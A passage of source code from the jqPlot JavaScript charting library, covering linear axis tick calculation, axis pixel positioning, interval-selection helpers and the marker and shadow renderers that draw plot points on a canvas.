$.jqplot.LinearTickGenerator(min, max, this._scalefact, _numberTicks, keepMin, keepMax); // calculate a padded max and min, points should be less than these // so that they aren't too close to the edges of the plot. // User can adjust how much padding is allowed with pad, padMin and PadMax options. // If min or max is set, don't pad that end of axis. var tumin = (this.min != null) ? min : min + range*(this.padMin - 1); var tumax = (this.max != null) ? max : max - range*(this.padMax - 1); // if they're equal, we shouldn't have to do anything, right? // if (min <=tumin || max >= tumax) { if (min <tumin || max > tumax) { tumin = (this.min != null) ? min : min - range*(this.padMin - 1); tumax = (this.max != null) ? max : max + range*(this.padMax - 1); ret = $.jqplot.LinearTickGenerator(tumin, tumax, this._scalefact, _numberTicks, keepMin, keepMax); } this.min = ret[0]; this.max = ret[1]; // if numberTicks specified, it should return the same. this.numberTicks = ret[2]; this._autoFormatString = ret[3]; this.tickInterval = ret[4]; } // User has specified some axis scale related option, can use auto algorithm else { // if min and max are same, space them out a bit if (min == max) { var adj = 0.05; if (min > 0) { adj = Math.max(Math.log(min)/Math.LN10, 0.05); } min -= adj; max += adj; } // autoscale. Can't autoscale if min or max is supplied. // Will use numberTicks and tickInterval if supplied. Ticks // across multiple axes may not line up depending on how // bars are to be plotted. if (this.autoscale && this.min == null && this.max == null) { var rrange, ti, margin; var forceMinZero = false; var forceZeroLine = false; var intervals = {min:null, max:null, average:null, stddev:null}; // if any series are bars, or if any are fill to zero, and if this // is the axis to fill toward, check to see if we can start axis at zero. for (var i=0; i<this._series.length; i++) { var s = this._series[i]; var faname = (s.fillAxis == 'x') ? s._xaxis.name : s._yaxis.name; // check to see if this is the fill axis if (this.name == faname) { var vals = s._plotValues[s.fillAxis]; var vmin = vals[0]; var vmax = vals[0]; for (var j=1; j<vals.length; j++) { if (vals[j] < vmin) { vmin = vals[j]; } else if (vals[j] > vmax) { vmax = vals[j]; } } var dp = (vmax - vmin) / vmax; // is this sries a bar? if (s.renderer.constructor == $.jqplot.BarRenderer) { // if no negative values and could also check range. if (vmin >= 0 && (s.fillToZero || dp > 0.1)) { forceMinZero = true; } else { forceMinZero = false; if (s.fill && s.fillToZero && vmin < 0 && vmax > 0) { forceZeroLine = true; } else { forceZeroLine = false; } } } // if not a bar and filling, use appropriate method. else if (s.fill) { if (vmin >= 0 && (s.fillToZero || dp > 0.1)) { forceMinZero = true; } else if (vmin < 0 && vmax > 0 && s.fillToZero) { forceMinZero = false; forceZeroLine = true; } else { forceMinZero = false; forceZeroLine = false; } } // if not a bar and not filling, only change existing state // if it doesn't make sense else if (vmin < 0) { forceMinZero = false; } } } // check if we need make axis min at 0. if (forceMinZero) { // compute number of ticks this.numberTicks = 2 + Math.ceil((dim-(this.tickSpacing-1))/this.tickSpacing); this.min = 0; userMin = 0; // what order is this range? // what tick interval does that give us? ti = max/(this.numberTicks-1); temp = Math.pow(10, Math.abs(Math.floor(Math.log(ti)/Math.LN10))); if (ti/temp == parseInt(ti/temp, 10)) { ti += temp; } this.tickInterval = Math.ceil(ti/temp) * temp; this.max = this.tickInterval * (this.numberTicks - 1); } // check if we need to make sure there is a tick at 0. else if (forceZeroLine) { // compute number of ticks this.numberTicks = 2 + Math.ceil((dim-(this.tickSpacing-1))/this.tickSpacing); var ntmin = Math.ceil(Math.abs(min)/range*(this.numberTicks-1)); var ntmax = this.numberTicks - 1 - ntmin; ti = Math.max(Math.abs(min/ntmin), Math.abs(max/ntmax)); temp = Math.pow(10, Math.abs(Math.floor(Math.log(ti)/Math.LN10))); this.tickInterval = Math.ceil(ti/temp) * temp; this.max = this.tickInterval * ntmax; this.min = -this.tickInterval * ntmin; } // if nothing else, do autoscaling which will try to line up ticks across axes. else { if (this.numberTicks == null){ if (this.tickInterval) { this.numberTicks = 3 + Math.ceil(range / this.tickInterval); } else { this.numberTicks = 2 + Math.ceil((dim-(this.tickSpacing-1))/this.tickSpacing); } } if (this.tickInterval == null) { // get a tick interval ti = range/(this.numberTicks - 1); if (ti < 1) { temp = Math.pow(10, Math.abs(Math.floor(Math.log(ti)/Math.LN10))); } else { temp = 1; } this.tickInterval = Math.ceil(ti*temp*this.pad)/temp; } else { temp = 1 / this.tickInterval; } // try to compute a nicer, more even tick interval // temp = Math.pow(10, Math.floor(Math.log(ti)/Math.LN10)); // this.tickInterval = Math.ceil(ti/temp) * temp; rrange = this.tickInterval * (this.numberTicks - 1); margin = (rrange - range)/2; if (this.min == null) { this.min = Math.floor(temp*(min-margin))/temp; } if (this.max == null) { this.max = this.min + rrange; } } // Compute a somewhat decent format string if it is needed. // get precision of interval and determine a format string. var sf = $.jqplot.getSignificantFigures(this.tickInterval); var fstr; // if we have only a whole number, use integer formatting if (sf.digitsLeft >= sf.significantDigits) { fstr = '%d'; } else { var temp = Math.max(0, 5 - sf.digitsLeft); temp = Math.min(temp, sf.digitsRight); fstr = '%.'+ temp + 'f'; } this._autoFormatString = fstr; } // Use the default algorithm which pads each axis to make the chart // centered nicely on the grid. else { rmin = (this.min != null) ? this.min : min - range*(this.padMin - 1); rmax = (this.max != null) ? this.max : max + range*(this.padMax - 1); range = rmax - rmin; if (this.numberTicks == null){ // if tickInterval is specified by user, we will ignore computed maximum. // max will be equal or greater to fit even # of ticks. if (this.tickInterval != null) { this.numberTicks = Math.ceil((rmax - rmin)/this.tickInterval)+1; } else if (dim > 100) { this.numberTicks = parseInt(3+(dim-100)/75, 10); } else { this.numberTicks = 2; } } if (this.tickInterval == null) { this.tickInterval = range / (this.numberTicks-1); } if (this.max == null) { rmax = rmin + this.tickInterval*(this.numberTicks - 1); } if (this.min == null) { rmin = rmax - this.tickInterval*(this.numberTicks - 1); } // get precision of interval and determine a format string. var sf = $.jqplot.getSignificantFigures(this.tickInterval); var fstr; // if we have only a whole number, use integer formatting if (sf.digitsLeft >= sf.significantDigits) { fstr = '%d'; } else { var temp = Math.max(0, 5 - sf.digitsLeft); temp = Math.min(temp, sf.digitsRight); fstr = '%.'+ temp + 'f'; } this._autoFormatString = fstr; this.min = rmin; this.max = rmax; } if (this.renderer.constructor == $.jqplot.LinearAxisRenderer && this._autoFormatString == '') { // fix for misleading tick display with small range and low precision. range = this.max - this.min; // figure out precision var temptick = new this.tickRenderer(this.tickOptions); // use the tick formatString or, the default. var fs = temptick.formatString || $.jqplot.config.defaultTickFormatString; var fs = fs.match($.jqplot.sprintf.regex)[0]; var precision = 0; if (fs) { if (fs.search(/[fFeEgGpP]/) > -1) { var m = fs.match(/\%\.(\d{0,})?[eEfFgGpP]/); if (m) { precision = parseInt(m[1], 10); } else { precision = 6; } } else if (fs.search(/[di]/) > -1) { precision = 0; } // fact will be <= 1; var fact = Math.pow(10, -precision); if (this.tickInterval < fact) { // need to correct underrange if (userNT == null && userTI == null) { this.tickInterval = fact; if (userMax == null && userMin == null) { // this.min = Math.floor((this._dataBounds.min - this.tickInterval)/fact) * fact; this.min = Math.floor(this._dataBounds.min/fact) * fact; if (this.min == this._dataBounds.min) { this.min = this._dataBounds.min - this.tickInterval; } // this.max = Math.ceil((this._dataBounds.max + this.tickInterval)/fact) * fact; this.max = Math.ceil(this._dataBounds.max/fact) * fact; if (this.max == this._dataBounds.max) { this.max = this._dataBounds.max + this.tickInterval; } var n = (this.max - this.min)/this.tickInterval; n = n.toFixed(11); n = Math.ceil(n); this.numberTicks = n + 1; } else if (userMax == null) { // add one tick for top of range. var n = (this._dataBounds.max - this.min) / this.tickInterval; n = n.toFixed(11); this.numberTicks = Math.ceil(n) + 2; this.max = this.min + this.tickInterval * (this.numberTicks-1); } else if (userMin == null) { // add one tick for bottom of range. var n = (this.max - this._dataBounds.min) / this.tickInterval; n = n.toFixed(11); this.numberTicks = Math.ceil(n) + 2; this.min = this.max - this.tickInterval * (this.numberTicks-1); } else { // calculate a number of ticks so max is within axis scale this.numberTicks = Math.ceil((userMax - userMin)/this.tickInterval) + 1; // if user's min and max don't fit evenly in ticks, adjust. // This takes care of cases such as user min set to 0, max set to 3.5 but tick // format string set to %d (integer ticks) this.min = Math.floor(userMin*Math.pow(10, precision))/Math.pow(10, precision); this.max = Math.ceil(userMax*Math.pow(10, precision))/Math.pow(10, precision); // this.max = this.min + this.tickInterval*(this.numberTicks-1); this.numberTicks = Math.ceil((this.max - this.min)/this.tickInterval) + 1; } } } } } } if (this._overrideFormatString && this._autoFormatString != '') { this.tickOptions = this.tickOptions || {}; this.tickOptions.formatString = this._autoFormatString; } var t, to; for (var i=0; i<this.numberTicks; i++){ tt = this.min + i * this.tickInterval; t = new this.tickRenderer(this.tickOptions); // var t = new $.jqplot.AxisTickRenderer(this.tickOptions); t.setTick(tt, this.name); this._ticks.push(t); if (i < this.numberTicks - 1) { for (var j=0; j<this.minorTicks; j++) { tt += this.tickInterval/(this.minorTicks+1); to = $.extend(true, {}, this.tickOptions, {name:this.name, value:tt, label:'', isMinorTick:true}); t = new this.tickRenderer(to); this._ticks.push(t); } } t = null; } } if (this.tickInset) { this.min = this.min - this.tickInset * this.tickInterval; this.max = this.max + this.tickInset * this.tickInterval; } ticks = null; }; // Used to reset just the values of the ticks and then repack, which will // recalculate the positioning functions. It is assuemd that the // number of ticks is the same and the values of the new array are at the // proper interval. // This method needs to be called with the scope of an axis object, like: // // > plot.axes.yaxis.renderer.resetTickValues.call(plot.axes.yaxis, yarr); // $.jqplot.LinearAxisRenderer.prototype.resetTickValues = function(opts) { if ($.isArray(opts) && opts.length == this._ticks.length) { var t; for (var i=0; i<opts.length; i++) { t = this._ticks[i]; t.value = opts[i]; t.label = t.formatter(t.formatString, opts[i]); t.label = t.prefix + t.label; t._elem.html(t.label); } t = null; this.min = $.jqplot.arrayMin(opts); this.max = $.jqplot.arrayMax(opts); this.pack(); } // Not implemented yet. // else if ($.isPlainObject(opts)) { // // } }; // called with scope of axis $.jqplot.LinearAxisRenderer.prototype.pack = function(pos, offsets) { // Add defaults for repacking from resetTickValues function. pos = pos || {}; offsets = offsets || this._offsets; var ticks = this._ticks; var max = this.max; var min = this.min; var offmax = offsets.max; var offmin = offsets.min; var lshow = (this._label == null) ? false : this._label.show; for (var p in pos) { this._elem.css(p, pos[p]); } this._offsets = offsets; // pixellength will be + for x axes and - for y axes becasue pixels always measured from top left. var pixellength = offmax - offmin; var unitlength = max - min; // point to unit and unit to point conversions references to Plot DOM element top left corner. if (this.breakPoints) { unitlength = unitlength - this.breakPoints[1] + this.breakPoints[0]; this.p2u = function(p){ return (p - offmin) * unitlength / pixellength + min; }; this.u2p = function(u){ if (u > this.breakPoints[0] && u < this.breakPoints[1]){ u = this.breakPoints[0]; } if (u <= this.breakPoints[0]) { return (u - min) * pixellength / unitlength + offmin; } else { return (u - this.breakPoints[1] + this.breakPoints[0] - min) * pixellength / unitlength + offmin; } }; if (this.name.charAt(0) == 'x'){ this.series_u2p = function(u){ if (u > this.breakPoints[0] && u < this.breakPoints[1]){ u = this.breakPoints[0]; } if (u <= this.breakPoints[0]) { return (u - min) * pixellength / unitlength; } else { return (u - this.breakPoints[1] + this.breakPoints[0] - min) * pixellength / unitlength; } }; this.series_p2u = function(p){ return p * unitlength / pixellength + min; }; } else { this.series_u2p = function(u){ if (u > this.breakPoints[0] && u < this.breakPoints[1]){ u = this.breakPoints[0]; } if (u >= this.breakPoints[1]) { return (u - max) * pixellength / unitlength; } else { return (u + this.breakPoints[1] - this.breakPoints[0] - max) * pixellength / unitlength; } }; this.series_p2u = function(p){ return p * unitlength / pixellength + max; }; } } else { this.p2u = function(p){ return (p - offmin) * unitlength / pixellength + min; }; this.u2p = function(u){ return (u - min) * pixellength / unitlength + offmin; }; if (this.name == 'xaxis' || this.name == 'x2axis'){ this.series_u2p = function(u){ return (u - min) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + min; }; } else { this.series_u2p = function(u){ return (u - max) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + max; }; } } if (this.show) { if (this.name == 'xaxis' || this.name == 'x2axis') { for (var i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'xaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end if (temp * t.angle < 0) { shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; } // position at start else { shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; } break; case 'end': shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; case 'start': shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; break; case 'middle': shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; default: shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; } } else { shim = -t.getWidth()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('left', val); t.pack(); } } if (lshow) { var w = this._label._elem.outerWidth(true); this._label._elem.css('left', offmin + pixellength/2 - w/2 + 'px'); if (this.name == 'xaxis') { this._label._elem.css('bottom', '0px'); } else { this._label._elem.css('top', '0px'); } this._label.pack(); } } else { for (var i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'yaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end case 'end': if (temp * t.angle < 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'start': if (t.angle > 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'middle': // if (t.angle > 0) { // shim = -t.getHeight()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; // } // else { // shim = -t.getHeight()/2 - t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; // } shim = -t.getHeight()/2; break; default: shim = -t.getHeight()/2; break; } } else { shim = -t.getHeight()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('top', val); t.pack(); } } if (lshow) { var h = this._label._elem.outerHeight(true); this._label._elem.css('top', offmax - pixellength/2 - h/2 + 'px'); if (this.name == 'yaxis') { this._label._elem.css('left', '0px'); } else { this._label._elem.css('right', '0px'); } this._label.pack(); } } } ticks = null; }; /** * The following code was generaously given to me a while back by Scott Prahl. * He did a good job at computing axes min, max and number of ticks for the * case where the user has not set any scale related parameters (tickInterval, * numberTicks, min or max). I had ignored this use case for a long time, * focusing on the more difficult case where user has set some option controlling * tick generation. Anyway, about time I got this into jqPlot. * Thanks Scott!! */ /** * Copyright (c) 2010 Scott Prahl * The next three routines are currently available for use in all personal * or commercial projects under both the MIT and GPL version 2.0 licenses. * This means that you can choose the license that best suits your project * and use it accordingly. */ // A good format string depends on the interval. If the interval is greater // than 1 then there is no need to show any decimal digits. If it is < 1.0, then // use the magnitude of the interval to determine the number of digits to show. function bestFormatString (interval) { var fstr; interval = Math.abs(interval); if (interval >= 10) { fstr = '%d'; } else if (interval > 1) { if (interval === parseInt(interval, 10)) { fstr = '%d'; } else { fstr = '%.1f'; } } else { var expv = -Math.floor(Math.log(interval)/Math.LN10); fstr = '%.' + expv + 'f'; } return fstr; } var _factors = [0.1, 0.2, 0.3, 0.4, 0.5, 0.8, 1, 2, 3, 4, 5]; var _getLowerFactor = function(f) { var i = _factors.indexOf(f); if (i > 0) { return _factors[i-1]; } else { return _factors[_factors.length - 1] / 100; } }; var _getHigherFactor = function(f) { var i = _factors.indexOf(f); if (i < _factors.length-1) { return _factors[i+1]; } else { return _factors[0] * 100; } }; // Given a fixed minimum and maximum and a target number ot ticks // figure out the best interval and // return min, max, number ticks, format string and tick interval function bestConstrainedInterval(min, max, nttarget) { // run through possible number to ticks and see which interval is best var low = Math.floor(nttarget/2); var hi = Math.ceil(nttarget*1.5); var badness = Number.MAX_VALUE; var r = (max - min); var temp; var sd; var bestNT; var gsf = $.jqplot.getSignificantFigures; var fsd; var fs; var currentNT; var bestPrec; for (var i=0, l=hi-low+1; i<l; i++) { currentNT = low + i; temp = r/(currentNT-1); sd = gsf(temp); temp = Math.abs(nttarget - currentNT) + sd.digitsRight; if (temp < badness) { badness = temp; bestNT = currentNT; bestPrec = sd.digitsRight; } else if (temp === badness) { // let nicer ticks trump number ot ticks if (sd.digitsRight < bestPrec) { bestNT = currentNT; bestPrec = sd.digitsRight; } } } fsd = Math.max(bestPrec, Math.max(gsf(min).digitsRight, gsf(max).digitsRight)); if (fsd === 0) { fs = '%d'; } else { fs = '%.' + fsd + 'f'; } temp = r / (bestNT - 1); // min, max, number ticks, format string, tick interval return [min, max, bestNT, fs, temp]; } // This will return an interval of form 2 * 10^n, 5 * 10^n or 10 * 10^n // it is based soley on the range and number of ticks. So if user specifies // number of ticks, use this. function bestInterval(range, numberTicks) { numberTicks = numberTicks || 7; var minimum = range / (numberTicks - 1); var magnitude = Math.pow(10, Math.floor(Math.log(minimum) / Math.LN10)); var residual = minimum / magnitude; var interval; // "nicest" ranges are 1, 2, 5 or powers of these. // for magnitudes below 1, only allow these. if (magnitude < 1) { if (residual > 5) { interval = 10 * magnitude; } else if (residual > 2) { interval = 5 * magnitude; } else if (residual > 1) { interval = 2 * magnitude; } else { interval = magnitude; } } // for large ranges (whole integers), allow intervals like 3, 4 or powers of these. // this helps a lot with poor choices for number of ticks. else { if (residual > 5) { interval = 10 * magnitude; } else if (residual > 4) { interval = 5 * magnitude; } else if (residual > 3) { interval = 4 * magnitude; } else if (residual > 2) { interval = 3 * magnitude; } else if (residual > 1) { interval = 2 * magnitude; } else { interval = magnitude; } } return interval; } // This will return an interval of form 2 * 10^n, 5 * 10^n or 10 * 10^n // it is based soley on the range of data, number of ticks must be computed later. function bestLinearInterval(range, scalefact) { scalefact = scalefact || 1; var expv = Math.floor(Math.log(range)/Math.LN10); var magnitude = Math.pow(10, expv); // 0 < f < 10 var f = range / magnitude; var fact; // for large plots, scalefact will decrease f and increase number of ticks. // for small plots, scalefact will increase f and decrease number of ticks. f = f/scalefact; // for large plots, smaller interval, more ticks. if (f<=0.38) { fact = 0.1; } else if (f<=1.6) { fact = 0.2; } else if (f<=4.0) { fact = 0.5; } else if (f<=8.0) { fact = 1.0; } // for very small plots, larger interval, less ticks in number ticks else if (f<=16.0) { fact = 2; } else { fact = 5; } return fact*magnitude; } function bestLinearComponents(range, scalefact) { var expv = Math.floor(Math.log(range)/Math.LN10); var magnitude = Math.pow(10, expv); // 0 < f < 10 var f = range / magnitude; var interval; var fact; // for large plots, scalefact will decrease f and increase number of ticks. // for small plots, scalefact will increase f and decrease number of ticks. f = f/scalefact; // for large plots, smaller interval, more ticks. if (f<=0.38) { fact = 0.1; } else if (f<=1.6) { fact = 0.2; } else if (f<=4.0) { fact = 0.5; } else if (f<=8.0) { fact = 1.0; } // for very small plots, larger interval, less ticks in number ticks else if (f<=16.0) { fact = 2; } // else if (f<=20.0) { // fact = 3; // } // else if (f<=24.0) { // fact = 4; // } else { fact = 5; } interval = fact * magnitude; return [interval, fact, magnitude]; } // Given the min and max for a dataset, return suitable endpoints // for the graphing, a good number for the number of ticks, and a // format string so that extraneous digits are not displayed. // returned is an array containing [min, max, nTicks, format] $.jqplot.LinearTickGenerator = function(axis_min, axis_max, scalefact, numberTicks, keepMin, keepMax) { // Set to preserve EITHER min OR max. // If min is preserved, max must be free. keepMin = (keepMin === null) ? false : keepMin; keepMax = (keepMax === null || keepMin) ? false : keepMax; // if endpoints are equal try to include zero otherwise include one if (axis_min === axis_max) { axis_max = (axis_max) ? 0 : 1; } scalefact = scalefact || 1.0; // make sure range is positive if (axis_max < axis_min) { var a = axis_max; axis_max = axis_min; axis_min = a; } var r = []; var ss = bestLinearInterval(axis_max - axis_min, scalefact); var gsf = $.jqplot.getSignificantFigures; if (numberTicks == null) { // Figure out the axis min, max and number of ticks // the min and max will be some multiple of the tick interval, // 1*10^n, 2*10^n or 5*10^n. This gaurantees that, if the // axis min is negative, 0 will be a tick. if (!keepMin && !keepMax) { r[0] = Math.floor(axis_min / ss) * ss; // min r[1] = Math.ceil(axis_max / ss) * ss; // max r[2] = Math.round((r[1]-r[0])/ss+1.0); // number of ticks r[3] = bestFormatString(ss); // format string r[4] = ss; // tick Interval } else if (keepMin) { r[0] = axis_min; // min r[2] = Math.ceil((axis_max - axis_min) / ss + 1.0); // number of ticks r[1] = axis_min + (r[2] - 1) * ss; // max var digitsMin = gsf(axis_min).digitsRight; var digitsSS = gsf(ss).digitsRight; if (digitsMin < digitsSS) { r[3] = bestFormatString(ss); // format string } else { r[3] = '%.' + digitsMin + 'f'; } r[4] = ss; // tick Interval } else if (keepMax) { r[1] = axis_max; // max r[2] = Math.ceil((axis_max - axis_min) / ss + 1.0); // number of ticks r[0] = axis_max - (r[2] - 1) * ss; // min var digitsMax = gsf(axis_max).digitsRight; var digitsSS = gsf(ss).digitsRight; if (digitsMax < digitsSS) { r[3] = bestFormatString(ss); // format string } else { r[3] = '%.' + digitsMax + 'f'; } r[4] = ss; // tick Interval } } else { var tempr = []; // Figure out the axis min, max and number of ticks // the min and max will be some multiple of the tick interval, // 1*10^n, 2*10^n or 5*10^n. This gaurantees that, if the // axis min is negative, 0 will be a tick. tempr[0] = Math.floor(axis_min / ss) * ss; // min tempr[1] = Math.ceil(axis_max / ss) * ss; // max tempr[2] = Math.round((tempr[1]-tempr[0])/ss+1.0); // number of ticks tempr[3] = bestFormatString(ss); // format string tempr[4] = ss; // tick Interval // first, see if we happen to get the right number of ticks if (tempr[2] === numberTicks) { r = tempr; } else { var newti = bestInterval(tempr[1] - tempr[0], numberTicks); r[0] = tempr[0]; // min r[2] = numberTicks; // number of ticks r[4] = newti; // tick interval r[3] = bestFormatString(newti); // format string r[1] = r[0] + (r[2] - 1) * r[4]; // max } } return r; }; $.jqplot.LinearTickGenerator.bestLinearInterval = bestLinearInterval; $.jqplot.LinearTickGenerator.bestInterval = bestInterval; $.jqplot.LinearTickGenerator.bestLinearComponents = bestLinearComponents; $.jqplot.LinearTickGenerator.bestConstrainedInterval = bestConstrainedInterval; // class: $.jqplot.MarkerRenderer // The default jqPlot marker renderer, rendering the points on the line. $.jqplot.MarkerRenderer = function(options){ // Group: Properties // prop: show // whether or not to show the marker. this.show = true; // prop: style // One of diamond, circle, square, x, plus, dash, filledDiamond, filledCircle, filledSquare this.style = 'filledCircle'; // prop: lineWidth // size of the line for non-filled markers. this.lineWidth = 2; // prop: size // Size of the marker (diameter or circle, length of edge of square, etc.) this.size = 9.0; // prop: color // color of marker. Will be set to color of series by default on init. this.color = '#666666'; // prop: shadow // whether or not to draw a shadow on the line this.shadow = true; // prop: shadowAngle // Shadow angle in degrees this.shadowAngle = 45; // prop: shadowOffset // Shadow offset from line in pixels this.shadowOffset = 1; // prop: shadowDepth // Number of times shadow is stroked, each stroke offset shadowOffset from the last. this.shadowDepth = 3; // prop: shadowAlpha // Alpha channel transparency of shadow. 0 = transparent. this.shadowAlpha = '0.07'; // prop: shadowRenderer // Renderer that will draws the shadows on the marker. this.shadowRenderer = new $.jqplot.ShadowRenderer(); // prop: shapeRenderer // Renderer that will draw the marker. this.shapeRenderer = new $.jqplot.ShapeRenderer(); $.extend(true, this, options); }; function getShadowRendererOptions(opts) { var sdopt = {angle:opts.shadowAngle, offset:opts.shadowOffset, alpha:opts.shadowAlpha, lineWidth:opts.lineWidth, depth:opts.shadowDepth, closePath:true}; if (opts.style.indexOf('filled') != -1) { sdopt.fill = true; } if (opts.style.indexOf('ircle') != -1) { sdopt.isarc = true; sdopt.closePath = false; } return $.extend(true, {}, sdopt); } function getShapeRendererOptions(opts) { var shopt = {fill:false, isarc:false, strokeStyle:opts.color, fillStyle:opts.color, lineWidth:opts.lineWidth, closePath:true}; if (opts.style.indexOf('filled') != -1) { shopt.fill = true; } if (opts.style.indexOf('ircle') != -1) { shopt.isarc = true; shopt.closePath = false; } return $.extend(true, {}, shopt); } $.jqplot.MarkerRenderer.prototype.init = function(options) { $.extend(true, this, options); }; $.jqplot.MarkerRenderer.prototype.drawDiamond = function(x, y, ctx, fill, options) { var opts; if (options == null || $.isEmptyObject(options)) { opts = this; } else { opts = $.extend(true, {}, this, options); } var stretch = 1.2; var dx = this.size/2/stretch; var dy = this.size/2*stretch; var points = [[x-dx, y], [x, y+dy], [x+dx, y], [x, y-dy]]; if (opts.shadow) { this.shadowRenderer.draw(ctx, points, getShadowRendererOptions(opts)); } this.shapeRenderer.draw(ctx, points, getShapeRendererOptions(opts)); }; $.jqplot.MarkerRenderer.prototype.drawPlus = function(x, y, ctx, fill, options) { var opts = $.extend(true, {}, this, options, {closePath:false}); var stretch = 1.0; var dx = opts.size/2*stretch; var dy = opts.size/2*stretch; var points1 = [[x, y-dy], [x, y+dy]]; var points2 = [[x+dx, y], [x-dx, y]]; if (opts.shadow) { this.shadowRenderer.draw(ctx, points1, getShadowRendererOptions(opts)); this.shadowRenderer.draw(ctx, points2, getShadowRendererOptions(opts)); } this.shapeRenderer.draw(ctx, points1, opts); this.shapeRenderer.draw(ctx, points2, opts); }; $.jqplot.MarkerRenderer.prototype.drawX = function(x, y, ctx, fill, options) { var opts = $.extend(true, {}, this, options, {closePath:false}); var stretch = 1.0; var dx = opts.size/2*stretch; var dy = opts.size/2*stretch; var points1 = [[x-dx, y-dy], [x+dx, y+dy]]; var points2 = [[x-dx, y+dy], [x+dx, y-dy]]; if (opts.shadow) { this.shadowRenderer.draw(ctx, points1, getShadowRendererOptions(opts)); this.shadowRenderer.draw(ctx, points2, getShadowRendererOptions(opts)); } this.shapeRenderer.draw(ctx, points1, getShapeRendererOptions(opts)); this.shapeRenderer.draw(ctx, points2, getShapeRendererOptions(opts)); }; $.jqplot.MarkerRenderer.prototype.drawDash = function(x, y, ctx, fill, options) { var opts; if (options == null || $.isEmptyObject(options)) { opts = this; } else { opts = $.extend(true, {}, this, options); } var stretch = 1.0; var dx = this.size/2*stretch; var dy = this.size/2*stretch; var points = [[x-dx, y], [x+dx, y]]; if (opts.shadow) { this.shadowRenderer.draw(ctx, points); } this.shapeRenderer.draw(ctx, points, getShapeRendererOptions(opts)); }; $.jqplot.MarkerRenderer.prototype.drawLine = function(p1, p2, ctx, fill, options) { var opts; if (options == null || $.isEmptyObject(options)) { opts = this; } else { opts = $.extend(true, {}, this, options); } var points = [p1, p2]; if (opts.shadow) { this.shadowRenderer.draw(ctx, points, getShadowRendererOptions(opts)); } this.shapeRenderer.draw(ctx, points, getShapeRendererOptions(opts)); }; $.jqplot.MarkerRenderer.prototype.drawSquare = function(x, y, ctx, fill, options) { var opts; if (options == null || $.isEmptyObject(options)) { opts = this; } else { opts = $.extend(true, {}, this, options); } var stretch = 1.0; var dx = this.size/2/stretch; var dy = this.size/2*stretch; var points = [[x-dx, y-dy], [x-dx, y+dy], [x+dx, y+dy], [x+dx, y-dy]]; if (opts.shadow) { this.shadowRenderer.draw(ctx, points, getShadowRendererOptions(opts)); } this.shapeRenderer.draw(ctx, points, getShapeRendererOptions(opts)); }; $.jqplot.MarkerRenderer.prototype.drawCircle = function(x, y, ctx, fill, options) { var opts; if (options == null || $.isEmptyObject(options)) { opts = this; } else { opts = $.extend(true, {}, this, options); } var radius = this.size/2; var end = 2*Math.PI; var points = [x, y, radius, 0, end, true]; if (opts.shadow) { this.shadowRenderer.draw(ctx, points, getShadowRendererOptions(opts)); } this.shapeRenderer.draw(ctx, points, getShapeRendererOptions(opts)); }; $.jqplot.MarkerRenderer.prototype.draw = function(x, y, ctx, options) { options = options || {}; // hack here b/c shape renderer uses canvas based color style options // and marker uses css style names. if (options.show == null || options.show != false) { if (options.color && !options.fillStyle) { options.fillStyle = options.color; } if (options.color && !options.strokeStyle) { options.strokeStyle = options.color; } var style = options.style || this.style; switch (style) { case 'diamond': this.drawDiamond(x,y,ctx, false, options); break; case 'filledDiamond': this.drawDiamond(x,y,ctx, true, options); break; case 'circle': this.drawCircle(x,y,ctx, false, options); break; case 'filledCircle': this.drawCircle(x,y,ctx, true, options); break; case 'square': this.drawSquare(x,y,ctx, false, options); break; case 'filledSquare': this.drawSquare(x,y,ctx, true, options); break; case 'x': this.drawX(x,y,ctx, true, options); break; case 'plus': this.drawPlus(x,y,ctx, true, options); break; case 'dash': this.drawDash(x,y,ctx, true, options); break; case 'line': this.drawLine(x, y, ctx, false, options); break; default: this.drawDiamond(x,y,ctx, false, options); break; } } }; // class: $.jqplot.shadowRenderer // The default jqPlot shadow renderer, rendering shadows behind shapes. $.jqplot.ShadowRenderer = function(options){ // Group: Properties // prop: angle // Angle of the shadow in degrees. Measured counter-clockwise from the x axis. this.angle = 45; // prop: offset // Pixel offset at the given shadow angle of each shadow stroke from the last stroke. this.offset = 1; // prop: alpha // alpha transparency of shadow stroke. this.alpha = 0.07; // prop: lineWidth // width of the shadow line stroke. this.lineWidth = 1.5; // prop: lineJoin // How line segments of the shadow are joined. this.lineJoin = 'miter'; // prop: lineCap // how ends of the shadow line are rendered. this.lineCap = 'round'; // prop; closePath // whether line path segment is closed upon itself. this.closePath = false; // prop: fill // whether to fill the shape. this.fill = false; // prop: depth // how many times the shadow is stroked. Each stroke will be offset by offset at angle degrees. this.depth = 3; this.strokeStyle = 'rgba(0,0,0,0.1)'; // prop: isarc // whether the shadow is an arc or not. this.isarc = false; $.extend(true, this, options); }; $.jqplot.ShadowRenderer.prototype.init = function(options) { $.extend(true, this, options); }; // function: draw // draws an transparent black (i.e. gray) shadow. // // ctx - canvas drawing context // points - array of points or [x, y, radius, start 